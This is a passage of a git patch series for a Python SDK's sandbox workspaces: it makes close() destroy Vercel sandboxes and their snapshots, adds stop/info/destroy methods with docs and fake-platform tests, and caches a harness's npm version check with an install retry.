code. + - afk flows exercised on a pty: list (both CLIs), push --bg + peek, + attach + instruct + detach, pull --files, codex TUI push + detach + + peek + pull --files, stop. deepysec: all stages with claude locally, + codex locally, claude in a sandbox (8.5 min run, after the lifetime + fix). - Parallel sandbox runs use `uv run --with pytest-xdist ... -n 4` (no project dependency added). From cd955f22ec53ccb6758971d94d02961409f6cb4b Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 15:31:07 -0700 Subject: [PATCH 25/37] VercelSandbox: close destroys; a stopped sandbox resumes; stop() and info() MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A sandbox is persistent: stopping it, or its time limit running out, keeps it with a snapshot of its files (30 days by default, billed as storage), and any later command resumes it, files intact, in ~2s. The SDK treated this the wrong way round on both ends: - close() on a sandbox it did not keep only STOPPED it, so every closed sandbox stayed, with a ~0.8 GB snapshot. Measured in the project the e2e runs use: 1,320 stopped sandboxes, 1,324 snapshots, 1,309 GB, about $105/month. close() now destroys it, snapshots included. - Reconnecting to a stopped sandbox raised WorkspaceGoneError ("its files are gone"), which was false, and callers (afk) forgot it. It now resumes from its snapshot. Gone means it no longer exists, or kept no snapshot, and says what to do instead. New: - stop(): stop the VM now and keep its files, to resume later. - info(): status, region, size, the snapshot it would resume from, and each session's usage (duration, active CPU, data sent) — what it is billed on — without resuming it. vercel-sandbox's models drop those fields, so the session list is read from the API's own answer. - destroy(): delete it and its snapshots without resuming it first. - A process in a destroyed sandbox (404) reads as over, like a stopped one's (410). Verified: offline against a fake platform; live, a closed sandbox leaves nothing, a stopped one resumes with its files, info leaves it stopped. --- .../content/docs/basics/workspaces.mdx | 28 +- .../content/docs/reference/workspaces.mdx | 17 +- src/ai/workspaces/experimental/__init__.py | 10 +- src/ai/workspaces/experimental/_sandbox.py | 301 +++++++++++++++++- .../experimental/e2e/test_reconnect.py | 19 +- .../e2e/test_sandbox_lifecycle.py | 41 ++- .../experimental/test_sandbox_lifecycle.py | 205 ++++++++++++ 7 files changed, 591 insertions(+), 30 deletions(-) create mode 100644 tests/workspaces/experimental/test_sandbox_lifecycle.py diff --git a/docs/ai-python/content/docs/basics/workspaces.mdx b/docs/ai-python/content/docs/basics/workspaces.mdx index cf77fab8..a710b946 100644 --- a/docs/ai-python/content/docs/basics/workspaces.mdx +++ b/docs/ai-python/content/docs/basics/workspaces.mdx @@ -110,7 +110,7 @@ harness factory; it wins over the workspace's. |---|---|---| | `execution_time_limit` | How long the VM lives, in seconds. The platform default is short, so set it for long work. | `None`: the platform's default | | `image` | The image a new VM boots from: a [Vercel Container Registry](https://vercel.com/docs/sandbox/concepts/images) reference such as `"vercel/sandbox/python:3.14"` or your own `"my-repo:v1"`. Not with `name` or `snapshot`. Harnesses need `python3` in the image, and `npm` to install their CLI; the default image has both. | `None`: the platform's default image | -| `keep` | Whether `close()` leaves the VM running. | `None`: `False` for a sandbox you created, `True` for one you reconnected to | +| `keep` | Whether `close()` leaves the VM running. Not kept, `close()` destroys the sandbox and its snapshots. | `None`: `False` for a sandbox you created, `True` for one you reconnected to | | `name` | Reconnect to an existing sandbox instead of creating one. `sandbox.name` is set once the VM exists. | `None`: create one | | `ports` | Ports to expose. Get a URL with `await sandbox.reachable_url(port)`. | `None` | | `snapshot` | Start from a sandbox snapshot. | `None` | @@ -138,6 +138,32 @@ async with workspaces.VercelSandbox(name=name, gateway=gateway) as sandbox: - Outbound rules are fixed when the VM is created. Reconnecting with `gateway=` to a sandbox made without one raises `WorkspaceError`. +### Stop, resume, and what it costs + +A sandbox keeps its files when its VM stops: + +```python +await sandbox.stop() # the VM stops; its files are kept as a snapshot + +info = await workspaces.VercelSandbox(name=name).info() +print(info.status, info.snapshot.size_bytes) # "stopped", without resuming + +async with workspaces.VercelSandbox(name=name) as sandbox: + ... # resumed from the snapshot: files back, processes not +``` + +- A sandbox stops on `stop()` and when its `execution_time_limit` runs out. + Either way it is kept with a snapshot, and reconnecting resumes it. A + snapshot is billed as storage until it expires (30 days by default). +- `close()` on a sandbox you do not keep destroys it, snapshots included, + so nothing is left to pay for. +- `info()` describes a sandbox without resuming it: `status`, `region`, + `vcpus`, `memory_mb`, its `snapshot`, and its `sessions`. Each stopped + session reports what it is billed on: `duration_ms`, `active_cpu_ms`, + `egress_bytes`. A running session reports these when it stops. +- `WorkspaceGoneError` means the sandbox no longer exists, or stopped with + no snapshot to resume from. + ## Copy files `copy()` moves a directory between your machine and a workspace. Mark the diff --git a/docs/ai-python/content/docs/reference/workspaces.mdx b/docs/ai-python/content/docs/reference/workspaces.mdx index 18a672be..8a355511 100644 --- a/docs/ai-python/content/docs/reference/workspaces.mdx +++ b/docs/ai-python/content/docs/reference/workspaces.mdx @@ -73,7 +73,7 @@ support, and raises `ai.errors.InstallationError` when it is missing. | `execution_time_limit` | VM lifetime in seconds. | `None`: the platform's default | | `ports` | Ports to expose when the VM is created. | `None` | | `name` | Reconnect to an existing sandbox instead of creating one. | `None`: create one | -| `keep` | Whether `close()` leaves the VM running. | `None`: `False` for a sandbox you created, `True` for one you reconnected to | +| `keep` | Whether `close()` leaves the VM running. Not kept, `close()` destroys the sandbox and its snapshots. | `None`: `False` for a sandbox you created, `True` for one you reconnected to | | `gateway` | Upstream model provider LLM Gateway, as a `Gateway`. Locks outbound traffic to an allowlist and injects the credential at the firewall; see [Workspaces](/docs/basics/workspaces#reach-a-model-through-ai-gateway). | `None` | | `allow_hosts` | Extra hosts the VM may reach when `gateway` is set. | `()` | @@ -88,6 +88,21 @@ or missing, `WorkspaceError` when it cannot be reached or was created without credential injection for the requested gateway, and `NotAuthenticatedError` when the Vercel credentials are rejected. + +`VercelSandbox` methods beyond `Workspace`: + +- `await stop()`: Stop the VM now and keep its files as a snapshot. Closes + this client. `VercelSandbox(name=...)` resumes it later. +- `await info()`: Return a `SandboxInfo` without resuming the sandbox: + `name`, `status`, `region`, `vcpus`, `memory_mb`, `created_at`, + `snapshot` (a `SandboxSnapshot`: `id`, `size_bytes`, `created_at`, + `expires_at`), `sessions` (a list of `SandboxSession`: `id`, `status`, + `started_at`, `stopped_at`, `duration_ms`, `active_cpu_ms`, + `egress_bytes`, `ingress_bytes`, `vcpus`, `memory_mb`, `region`), and + `resumable`. Usage is reported once a session stops. Raises + `WorkspaceGoneError` when the sandbox no longer exists. +- Opening by `name` a sandbox that stopped resumes it from its snapshot. + ## Workspace The base class both workspaces implement. Use it as an async context diff --git a/src/ai/workspaces/experimental/__init__.py b/src/ai/workspaces/experimental/__init__.py index 1e8d06fb..781908c7 100644 --- a/src/ai/workspaces/experimental/__init__.py +++ b/src/ai/workspaces/experimental/__init__.py @@ -19,7 +19,12 @@ from ._gateway import Gateway, vercel_ai_gateway from ._local import Local from ._pty import Pty, PtyInfo -from ._sandbox import VercelSandbox +from ._sandbox import ( + SandboxInfo, + SandboxSession, + SandboxSnapshot, + VercelSandbox, +) __all__ = [ "ExecResult", @@ -28,6 +33,9 @@ "Process", "Pty", "PtyInfo", + "SandboxInfo", + "SandboxSession", + "SandboxSnapshot", "VercelSandbox", "Workspace", "WorkspaceCoords", diff --git a/src/ai/workspaces/experimental/_sandbox.py b/src/ai/workspaces/experimental/_sandbox.py index 8517a1f2..cf8b92c3 100644 --- a/src/ai/workspaces/experimental/_sandbox.py +++ b/src/ai/workspaces/experimental/_sandbox.py @@ -11,6 +11,7 @@ import asyncio import base64 import contextlib +import datetime import inspect import io import json @@ -26,6 +27,8 @@ from pathlib import Path from typing import TYPE_CHECKING, Any +from pydantic import BaseModel + from ... import errors as ai_errors from ...providers import _optional from . import _base, _gateway, _pty @@ -126,8 +129,19 @@ def _gone(exc: BaseException) -> bool: - """Whether this error means the sandbox itself is no longer there.""" - return "sandbox_stopped" in str(exc) or "no longer available" in str(exc) + """Whether this error means the sandbox itself is no longer there. + + Stopped, it answers 410 (`sandbox_stopped`); destroyed — which is what + `close()` does to a sandbox it does not keep — 404 (`not_found`). + """ + text = str(exc) + return ( + "sandbox_stopped" in text + or "no longer available" in text + or getattr(exc, "status_code", None) == 404 + or getattr(exc, "code", None) == "not_found" + or "Sandbox not found" in text + ) class SandboxProcess(_base.Process): @@ -454,6 +468,75 @@ async def wait(self) -> int | None: ) from exc +RESUMABLE = ("stopped", "stopping", "snapshotting") +"""Statuses a sandbox resumes from: it stopped, and its files were kept.""" + + +class SandboxSnapshot(BaseModel): + """The snapshot a stopped sandbox resumes from.""" + + id: str + size_bytes: int = 0 + created_at: int | None = None + """Epoch milliseconds.""" + expires_at: int | None = None + """Epoch milliseconds; the platform deletes it then.""" + + +class SandboxSession(BaseModel): + """One run of a sandbox's VM, and what it used: what it is billed on. + + The platform reports usage when a session STOPS: a running one has + `started_at` and nothing else yet. + """ + + id: str + status: str | None = None + region: str | None = None + vcpus: int | None = None + memory_mb: int | None = None + started_at: int | None = None + """Epoch milliseconds.""" + stopped_at: int | None = None + duration_ms: int | None = None + active_cpu_ms: int | None = None + """CPU time actually used; waiting on I/O (a model call) does not count.""" + egress_bytes: int | None = None + """Data the sandbox sent. What sandbox network is billed on.""" + ingress_bytes: int | None = None + + +class SandboxInfo(BaseModel): + """A sandbox as the platform describes it, asked without resuming it.""" + + name: str + status: str + region: str | None = None + vcpus: int | None = None + memory_mb: int | None = None + created_at: int | None = None + execution_time_limit: float | None = None + """Seconds each session may run before the platform stops it.""" + snapshot: SandboxSnapshot | None = None + sessions: list[SandboxSession] = [] + + @property + def resumable(self) -> bool: + return self.status in RESUMABLE and self.snapshot is not None + + @property + def expired(self) -> bool: + """Whether it stopped because its last session ran out of time.""" + if self.status not in RESUMABLE or not self.sessions: + return False + last = max(self.sessions, key=lambda s: s.started_at or 0) + return ( + self.execution_time_limit is not None + and last.duration_ms is not None + and last.duration_ms >= self.execution_time_limit * 1000 - 60_000 + ) + + class VercelSandbox(_base.Workspace): kind = "sandbox" # Ephemeral and ours: installing a harness here modifies nothing the @@ -666,20 +749,38 @@ async def _open(self) -> None: ): # The platform's own answer, not a failure to reach it. raise errors_.WorkspaceGoneError( - f"no sandbox named {self._name!r} exists: {exc}" + f"no sandbox named {self._name!r} exists ({exc}). " + "Open a new workspace and resume the conversation " + "there." ) from exc raise errors_.WorkspaceError( f"no sandbox named {self._name!r} is reachable: {exc}" ) from exc - status = getattr(self._sandbox, "status", "") or "" - status = str(getattr(status, "value", status)) - if status and status not in ("running", "pending"): + status = _status(self._sandbox) + if status in RESUMABLE: + # Stopped — by stop(), or by its time limit — but its files + # were kept as a snapshot: a new VM resumes from it, files + # intact, processes not (measured: ~2s). + if not getattr(self._sandbox, "current_snapshot_id", None): + self._sandbox = None + raise errors_.WorkspaceGoneError( + f"sandbox {self._name!r} is {status} and kept no " + "snapshot to resume from; its files are gone" + ) + try: + await self._sandbox.session() + except Exception as exc: + self._sandbox = None + raise errors_.WorkspaceError( + f"sandbox {self._name!r} is {status} and could not " + f"be resumed from its snapshot: {exc}" + ) from exc + elif status and status not in ("running", "pending"): self._sandbox = None raise errors_.WorkspaceGoneError( - f"sandbox {self._name!r} is {status}, not running; its " - "files and " - + "processes are gone. Open a new workspace and resume the " - "session there." + f"sandbox {self._name!r} is {status}; it cannot be " + "resumed. Open a new workspace and resume the " + "conversation there." ) # Egress was decided when the VM was made; read back what it is. self._brokered_hosts = await self._read_egress_record() @@ -766,20 +867,134 @@ async def close(self) -> None: self._forget_vm() await self._close_client() return - # Stopping the VM ends every process in it at once, so there is no - # reason to climb the per-process ladder here: just let go of our - # conduits and readers, then stop. + # Not kept: DESTROYED, its snapshots with it. Stopping is not + # ending: a sandbox is persistent, so a stopped one stays, with a + # snapshot kept 30 days and billed as storage (measured: 1,324 + # snapshots, 1,309 GB, left by closed sandboxes). It ends every + # process at once, so there is no per-process ladder to climb. await self._release_ptys() for child in list(self._children): with contextlib.suppress(Exception): await child.detach() self._children.clear() with contextlib.suppress(Exception): - async with asyncio.timeout(60): - await self._sandbox.stop() + async with asyncio.timeout(120): + await self._sandbox.destroy(delete_orphan_snapshots=True) self._forget_vm() await self._close_client() + async def stop(self) -> None: + """Stop the VM now and keep its files, to resume later. + + The platform snapshots the sandbox as it stops; `VercelSandbox( + name=...)` resumes it from that snapshot, files intact. Every + process in it ends. The snapshot is kept (and billed as storage) + until it expires — 30 days by default — or the sandbox is + destroyed. This client is closed. + """ + sandbox = self._live() + await self._release_ptys() + for child in list(self._children): + with contextlib.suppress(Exception): + await child.detach() + self._children.clear() + try: + async with asyncio.timeout(120): + await sandbox.stop() + finally: + self._forget_vm() + await self._close_client() + + async def info(self) -> SandboxInfo: + """Describe the sandbox WITHOUT resuming it, open or not. + + Its status, size, region, the snapshot it would resume from, and + what each of its sessions used — the numbers it is billed on. A + listing can ask this of a stopped sandbox and leave it stopped. + Raises WorkspaceGoneError when the sandbox no longer exists. + """ + name = self.name + if name is None: + raise errors_.WorkspaceError("this sandbox has no name yet") + api = self._api() + try: + sandbox = await api.get_sandbox(name=name) + except Exception as exc: + if _looks_like_auth_failure(exc): + raise errors_.NotAuthenticatedError( + "vercel-sandbox", str(exc)[:200], _auth_hint() + ) from exc + if ( + getattr(exc, "status_code", None) == 404 + or getattr(exc, "code", None) == "not_found" + ): + raise errors_.WorkspaceGoneError( + f"no sandbox named {name!r} exists: {exc}" + ) from exc + raise errors_.WorkspaceError( + f"no sandbox named {name!r} is reachable: {exc}" + ) from exc + snapshot = None + snapshot_id = getattr(sandbox, "current_snapshot_id", None) + if snapshot_id: + with contextlib.suppress(Exception): + found = await api.get_snapshot(snapshot_id=snapshot_id) + snapshot = SandboxSnapshot( + id=snapshot_id, + size_bytes=int(getattr(found, "size_bytes", 0) or 0), + created_at=getattr(found, "created_at", None), + expires_at=getattr(found, "expires_at", None), + ) + limit = getattr(sandbox, "execution_time_limit", None) + return SandboxInfo( + name=name, + status=_status(sandbox), + region=getattr(sandbox, "region", None), + vcpus=getattr(sandbox, "vcpus", None), + memory_mb=getattr(sandbox, "memory", None), + created_at=getattr(sandbox, "created_at", None), + execution_time_limit=( + limit.total_seconds() + if isinstance(limit, datetime.timedelta) + else limit + ), + snapshot=snapshot, + sessions=await _sessions(sandbox, name), + ) + + async def destroy(self) -> None: + """Delete the sandbox and its snapshots, open or not. + + Never resumes it first. What a running one was doing ends; nothing + is kept. + """ + name = self.name + if name is None: + raise errors_.WorkspaceError("this sandbox has no name yet") + sandbox = self._sandbox + if sandbox is None: + try: + sandbox = await self._api().get_sandbox(name=name) + except Exception as exc: + if ( + getattr(exc, "status_code", None) == 404 + or getattr(exc, "code", None) == "not_found" + ): + raise errors_.WorkspaceGoneError( + f"no sandbox named {name!r} exists: {exc}" + ) from exc + raise errors_.WorkspaceError( + f"no sandbox named {name!r} is reachable: {exc}" + ) from exc + await self._release_ptys() + self._children.clear() + try: + async with asyncio.timeout(120): + await sandbox.destroy(delete_orphan_snapshots=True) + finally: + self._forget_vm() + await self._close_client() + @property def image(self) -> str | None: """The image this sandbox booted from. @@ -1463,3 +1678,59 @@ def _auth_hint() -> str: "VERCEL_TOKEN + VERCEL_TEAM_ID + VERCEL_PROJECT_ID, with access to the " "team." ) + + +def _status(sandbox: Any) -> str: + status = getattr(sandbox, "status", "") or "" + return str(getattr(status, "value", status)) + + +async def _sessions(sandbox: Any, name: str) -> list[SandboxSession]: + """Every session of a sandbox, with the usage the platform reports. + + vercel-sandbox's models drop the usage fields (`activeCpuDurationMs`, + `networkTransfer`, `duration`) that the API returns, so this one call + reads the API's own answer through the same client. If that ever stops + working, the sessions come back without usage rather than wrong. + """ + try: + client = sandbox._service.api_client + credentials = await client._credentials_factory() + sessions: list[SandboxSession] = [] + cursor: str | None = None + for _ in range(20): + params = { + "project": sandbox.project_id or credentials.project_id, + "name": name, + "limit": 50, # the API's most + **({"cursor": cursor} if cursor else {}), + } + data = await client._request_json( + "GET", + "v2/sandboxes/sessions", + credentials=credentials, + params=params, + ) + for raw in data.get("sessions") or []: + transfer = raw.get("networkTransfer") or {} + sessions.append( + SandboxSession( + id=str(raw.get("id")), + status=raw.get("status"), + region=raw.get("region"), + vcpus=raw.get("vcpus"), + memory_mb=raw.get("memory"), + started_at=raw.get("startedAt"), + stopped_at=raw.get("stoppedAt"), + duration_ms=raw.get("duration"), + active_cpu_ms=raw.get("activeCpuDurationMs"), + egress_bytes=transfer.get("egress"), + ingress_bytes=transfer.get("ingress"), + ) + ) + cursor = (data.get("pagination") or {}).get("next") + if not cursor: + break + return sessions + except Exception: + return [] diff --git a/tests/harnesses/experimental/e2e/test_reconnect.py b/tests/harnesses/experimental/e2e/test_reconnect.py index 150abff9..2727c9aa 100644 --- a/tests/harnesses/experimental/e2e/test_reconnect.py +++ b/tests/harnesses/experimental/e2e/test_reconnect.py @@ -88,21 +88,18 @@ async def test_resume_handle_reattaches_a_live_sandbox( pass -async def test_reconnect_to_a_stopped_sandbox_is_refused_with_a_reason() -> ( - None -): +async def test_reconnect_to_a_closed_sandbox_is_refused_with_a_reason() -> None: + """Closed and not kept means destroyed: gone, and the refusal says what + to do instead. (A STOPPED sandbox resumes: see test_sandbox_lifecycle.)""" + from ai.workspaces.experimental.errors import WorkspaceGoneError + creds = _creds_or_skip() - async with VercelSandbox( - **creds, execution_time_limit=300 - ) as ws: # keep defaults False → stopped on close + async with VercelSandbox(**creds, execution_time_limit=300) as ws: name = ws.name - with pytest.raises(Exception) as caught: + with pytest.raises(WorkspaceGoneError) as caught: async with VercelSandbox(name=name): pass - assert ( - "stopped" in str(caught.value).lower() - or "not running" in str(caught.value).lower() - ) + assert "exists" in str(caught.value) and "resume" in str(caught.value) async def test_two_harnesses_in_one_vm_each_list_their_own_sessions( diff --git a/tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py b/tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py index a9b84c9f..4c4adb32 100644 --- a/tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py +++ b/tests/harnesses/experimental/e2e/test_sandbox_lifecycle.py @@ -8,6 +8,7 @@ from __future__ import annotations +import contextlib import uuid import pytest @@ -34,12 +35,50 @@ async def test_a_sandbox_that_does_not_exist_is_gone(creds: None) -> None: await VercelSandbox(name=f"ai-no-such-{uuid.uuid4().hex[:10]}").open() -async def test_a_stopped_sandbox_is_gone(creds: None) -> None: +async def test_a_closed_sandbox_is_gone_and_leaves_nothing_billed( + creds: None, +) -> None: + """Closing a sandbox you did not keep destroys it, snapshot and all. + It used to STOP it: a persistent sandbox then stayed, with a snapshot + kept 30 days and billed (measured: 1,324 left by closed sandboxes).""" + from vercel import sandbox as vercel_sandbox + async with VercelSandbox(keep=False) as ws: name = ws.name + await ws.write_text("note.txt", "x") assert name with pytest.raises(WorkspaceGoneError): await VercelSandbox(name=name).open() + left = [ + s + async for s in vercel_sandbox.query_snapshots(name=name) + if getattr(s, "status", "") != "deleted" + ] + assert left == [], "a destroyed sandbox keeps no snapshot" + + +async def test_a_stopped_sandbox_resumes_with_its_files(creds: None) -> None: + """stop() keeps the files; asking about it leaves it stopped; opening it + again resumes it from its snapshot.""" + ws = VercelSandbox(keep=True) + await ws.open() + name = str(ws.name) + try: + await ws.write_text("note.txt", "KEPT") + await ws.stop() + info = await VercelSandbox(name=name).info() + assert info.status == "stopped" and info.resumable, info + assert info.snapshot is not None and info.snapshot.size_bytes > 0 + stopped = [s for s in info.sessions if s.status == "stopped"] + assert stopped and stopped[0].duration_ms, info.sessions + assert (await VercelSandbox(name=name).info()).status == "stopped" + async with VercelSandbox(name=name, keep=False) as again: + assert await again.read_text("note.txt") == "KEPT" + finally: + # keep=False above destroyed it; make sure, if a step failed. + with contextlib.suppress(Exception): + async with VercelSandbox(name=name, keep=False): + pass async def test_a_sandbox_that_cannot_be_reached_is_not_gone() -> None: diff --git a/tests/workspaces/experimental/test_sandbox_lifecycle.py b/tests/workspaces/experimental/test_sandbox_lifecycle.py new file mode 100644 index 00000000..3b1ca0cf --- /dev/null +++ b/tests/workspaces/experimental/test_sandbox_lifecycle.py @@ -0,0 +1,205 @@ +"""A sandbox's lifecycle against a fake platform: what close, stop and a +reconnect do, and what `info()` reports, without a VM.""" + +from __future__ import annotations + +from types import SimpleNamespace +from typing import Any + +import pytest + +from ai.workspaces.experimental import VercelSandbox +from ai.workspaces.experimental.errors import WorkspaceGoneError + + +class FakeSandbox: + def __init__(self, name: str, *, status: str = "running") -> None: + self.name = name + self.status = status + self.current_snapshot_id: str | None = None + self.project_id = "prj_x" + self.region = "iad1" + self.vcpus = 2 + self.memory = 4096 + self.created_at = 1 + self.calls: list[str] = [] + self.fs = SimpleNamespace(mkdir=self._mkdir) + self.execution_time_limit: float | None = None + self.sessions: list[dict[str, Any]] = [ + { + "id": "s1", + "status": "stopped", + "region": "iad1", + "vcpus": 2, + "memory": 4096, + "startedAt": 1000, + "stoppedAt": 61000, + "duration": 60000, + "activeCpuDurationMs": 6000, + "networkTransfer": {"ingress": 10, "egress": 2048}, + }, + {"id": "s2", "status": "running", "startedAt": 70000}, + ] + + async def request_json(*args: Any, **kwargs: Any) -> Any: + return {"sessions": self.sessions, "pagination": {"next": None}} + + async def credentials() -> Any: + return SimpleNamespace(project_id="prj_x") + + self._service = SimpleNamespace( + api_client=SimpleNamespace( + _request_json=request_json, _credentials_factory=credentials + ) + ) + + async def _mkdir(self, *args: Any, **kwargs: Any) -> None: + pass + + async def stop(self) -> None: + self.calls.append("stop") + self.status = "stopped" + self.current_snapshot_id = "snap_1" + + async def destroy(self, *, delete_orphan_snapshots: bool = False) -> None: + self.calls.append(f"destroy(orphans={delete_orphan_snapshots})") + self.status = "destroyed" + + async def session(self) -> None: + self.calls.append("resume") + self.status = "running" + + +class FakeApi: + def __init__(self) -> None: + self.sandboxes: dict[str, FakeSandbox] = {} + + async def create_sandbox(self, **options: Any) -> FakeSandbox: + box = FakeSandbox(f"sb{len(self.sandboxes) + 1}") + self.sandboxes[box.name] = box + return box + + async def get_sandbox(self, *, name: str) -> FakeSandbox: + box = self.sandboxes.get(name) + if box is None or box.status == "destroyed": + raise NotFoundError(404) + return box + + async def get_snapshot(self, *, snapshot_id: str) -> Any: + return SimpleNamespace( + size_bytes=800_000_000, created_at=5, expires_at=2_592_000_005 + ) + + +class NotFoundError(Exception): + def __init__(self, status_code: int) -> None: + super().__init__(f"HTTP {status_code}") + self.status_code = status_code + + +@pytest.fixture +def api(monkeypatch: pytest.MonkeyPatch) -> FakeApi: + fake = FakeApi() + monkeypatch.setattr(VercelSandbox, "_api", lambda self: fake) + + async def no_egress_record(self: Any) -> set[str]: + return set() + + monkeypatch.setattr(VercelSandbox, "_read_egress_record", no_egress_record) + return fake + + +async def test_closing_a_sandbox_you_do_not_keep_destroys_it( + api: FakeApi, +) -> None: + """Stopping was not ending: a persistent sandbox stays, and its snapshot + is billed for 30 days. Measured: 1,324 left behind, 1,309 GB.""" + async with VercelSandbox() as ws: + name = ws.name + box = api.sandboxes[str(name)] + assert box.calls == ["destroy(orphans=True)"] + + +async def test_a_kept_sandbox_is_left_running(api: FakeApi) -> None: + async with VercelSandbox(keep=True) as ws: + name = ws.name + assert api.sandboxes[str(name)].calls == [] + + +async def test_stop_keeps_the_files_and_a_reconnect_resumes( + api: FakeApi, +) -> None: + ws = VercelSandbox(keep=True) + await ws.open() + name = str(ws.name) + await ws.stop() + box = api.sandboxes[name] + assert box.calls == ["stop"] and box.status == "stopped" + async with VercelSandbox(name=name) as again: + assert again.name == name + assert box.calls == ["stop", "resume"] + assert box.status == "running" + + +async def test_a_stopped_sandbox_without_a_snapshot_is_gone( + api: FakeApi, +) -> None: + api.sandboxes["old"] = FakeSandbox("old", status="stopped") + with pytest.raises(WorkspaceGoneError, match="no snapshot"): + async with VercelSandbox(name="old"): + pass + + +async def test_a_failed_sandbox_is_gone(api: FakeApi) -> None: + api.sandboxes["bad"] = FakeSandbox("bad", status="failed") + with pytest.raises(WorkspaceGoneError, match="cannot be resumed"): + async with VercelSandbox(name="bad"): + pass + + +async def test_info_describes_a_stopped_sandbox_without_resuming_it( + api: FakeApi, +) -> None: + box = FakeSandbox("parked", status="stopped") + box.current_snapshot_id = "snap_9" + api.sandboxes["parked"] = box + info = await VercelSandbox(name="parked").info() + assert box.calls == [], "asking must not resume it" + assert info.status == "stopped" and info.resumable + assert info.snapshot is not None and info.snapshot.size_bytes == 800_000_000 + used, running = info.sessions + assert (used.duration_ms, used.active_cpu_ms, used.egress_bytes) == ( + 60000, + 6000, + 2048, + ) + assert running.status == "running" and running.duration_ms is None + + +async def test_info_on_a_sandbox_that_no_longer_exists_is_gone( + api: FakeApi, +) -> None: + with pytest.raises(WorkspaceGoneError): + await VercelSandbox(name="nowhere").info() + + +async def test_destroy_deletes_a_stopped_sandbox_without_resuming_it( + api: FakeApi, +) -> None: + box = FakeSandbox("parked", status="stopped") + box.current_snapshot_id = "snap_9" + api.sandboxes["parked"] = box + await VercelSandbox(name="parked").destroy() + assert box.calls == ["destroy(orphans=True)"] + + +async def test_a_sandbox_that_ran_out_of_time_reads_as_expired( + api: FakeApi, +) -> None: + box = FakeSandbox("timed", status="stopped") + box.current_snapshot_id = "snap_1" + box.execution_time_limit = 60 + box.sessions = box.sessions[:1] # one session, which ran its 60s + api.sandboxes["timed"] = box + info = await VercelSandbox(name="timed").info() + assert info.expired From e454a52effbbeaff0ee5e84af2f97557e3b199a5 Mon Sep 17 00:00:00 2001 From: George Date: Mon, 19 Oct 2026 15:31:19 -0700 Subject: [PATCH 26/37] harnesses: a sandbox's CLI check is remembered; a lost install answer is retried provision() asked npm for the latest release on every open of a sandbox harness: ~0.6-1s each, and a listing (afk) reconnects to every running sandbox. The VM now remembers when it last checked and asks again after 12 hours, or when an upgrade could not run because the CLI was in use. An `npm install` whose response stream was cut off ("missing final metadata", seen with four sandboxes provisioning at once) failed the open, though the install itself may have finished. It is idempotent: look, and try once more. test_timeout_settles_as_cancelled_rather_than_raising: measured, a current claude types 1 to 2000 inside 10s and codex declines 20000 outright, so the deadline is 4s. --- .../harnesses/experimental/_adapters/base.py | 40 ++++++++++++++-- tests/harnesses/experimental/e2e/test_run.py | 6 ++- .../harnesses/experimental/test_provision.py | 48 +++++++++++++++++++ 3 files changed, 88 insertions(+), 6 deletions(-) diff --git a/src/ai/harnesses/experimental/_adapters/base.py b/src/ai/harnesses/experimental/_adapters/base.py index 0d2bfb81..684aead1 100644 --- a/src/ai/harnesses/experimental/_adapters/base.py +++ b/src/ai/harnesses/experimental/_adapters/base.py @@ -11,7 +11,9 @@ from __future__ import annotations +import contextlib import posixpath +import time from collections.abc import AsyncIterator, Awaitable, Callable from typing import TYPE_CHECKING, Any, Protocol @@ -41,12 +43,25 @@ async def provision( probe = await workspace.exec([executable, "--version"], timeout=60) if workspace.owner != "provider": return probe + # When npm was last asked, in the VM: asking costs ~0.6-1s, and every + # reconnect asked (measured: most of a listing's time). The answer + # holds for CHECK_EVERY. + marker = f"{await workspace.home()}/.ai-python/checked/" + package.replace( + "/", "_" + ) if probe.exit_code == 0: + with contextlib.suppress(FileNotFoundError, ValueError): + if time.time() - float(await workspace.read_text(marker)) < ( + CHECK_EVERY + ): + return probe latest = await workspace.exec( ["npm", "view", package, "version"], timeout=120 ) newest = latest.stdout.strip() if latest.exit_code == 0 else "" if not newest or newest in probe.stdout.split(): + if newest: + await workspace.write_text(marker, str(time.time())) return probe for process in (await _cli_processes.processes(workspace)).values(): if any( @@ -54,10 +69,27 @@ async def provision( for arg in process.argv[:2] ): return probe - await workspace.exec( - ["npm", "install", "-g", f"{package}@latest"], timeout=600 - ) - return await workspace.exec([executable, "--version"], timeout=60) + for attempt in range(2): + try: + await workspace.exec( + ["npm", "install", "-g", f"{package}@latest"], timeout=600 + ) + except Exception: + # The answer was lost, not necessarily the install (measured: a + # sandbox's response stream cut off mid-install under load). It + # is idempotent: look, and try once more if it is not there. + if attempt == 1: + raise + probe = await workspace.exec([executable, "--version"], timeout=60) + if probe.exit_code == 0: + break + if probe.exit_code == 0: + await workspace.write_text(marker, str(time.time())) + return probe + + +CHECK_EVERY = 12 * 3600.0 +"""Seconds a sandbox's "this CLI is the latest" answer is trusted.""" class Adapter(Protocol): diff --git a/tests/harnesses/experimental/e2e/test_run.py b/tests/harnesses/experimental/e2e/test_run.py index 7dcc86e0..1d0d237f 100644 --- a/tests/harnesses/experimental/e2e/test_run.py +++ b/tests/harnesses/experimental/e2e/test_run.py @@ -101,12 +101,14 @@ async def test_timeout_settles_as_cancelled_rather_than_raising( The prompt has to genuinely outlive the deadline: asking a model to "count slowly" does not — it delegates to a shell command and answers in six seconds. Emitting thousands of tokens directly is what actually - holds a turn open. + holds a turn open. Measured: a current claude typed 1 to 2000 inside + 10s, and codex declines 20000 outright ("I can't fit all 20,000 + numbers"), so the deadline is what shrinks. """ result = await any_harness.run( "Write the numbers 1 through 2000 separated by newlines, " + "typing them out yourself. Output nothing else.", - timeout=10, + timeout=4, ) assert result.finish_reason == "cancelled" diff --git a/tests/harnesses/experimental/test_provision.py b/tests/harnesses/experimental/test_provision.py index fb6f8390..951e78fe 100644 --- a/tests/harnesses/experimental/test_provision.py +++ b/tests/harnesses/experimental/test_provision.py @@ -28,6 +28,7 @@ def __init__( self.latest = latest self.running = running or [] self.commands: list[list[str]] = [] + self.files: dict[str, str] = {} async def exec( self, argv: Any, *, env: Any = None, timeout: float | None = None @@ -53,6 +54,21 @@ async def exec( return ExecResult(exit_code=0, stdout="\n".join(lines)) raise AssertionError(argv) + async def home(self) -> str: + return "/home/u" + + async def read_text(self, path: str) -> str: + if path not in self.files: + raise FileNotFoundError(path) + return self.files[path] + + async def write_text(self, path: str, data: str) -> None: + self.files[path] = data + + @property + def asked_npm(self) -> int: + return sum(1 for c in self.commands if c[:2] == ["npm", 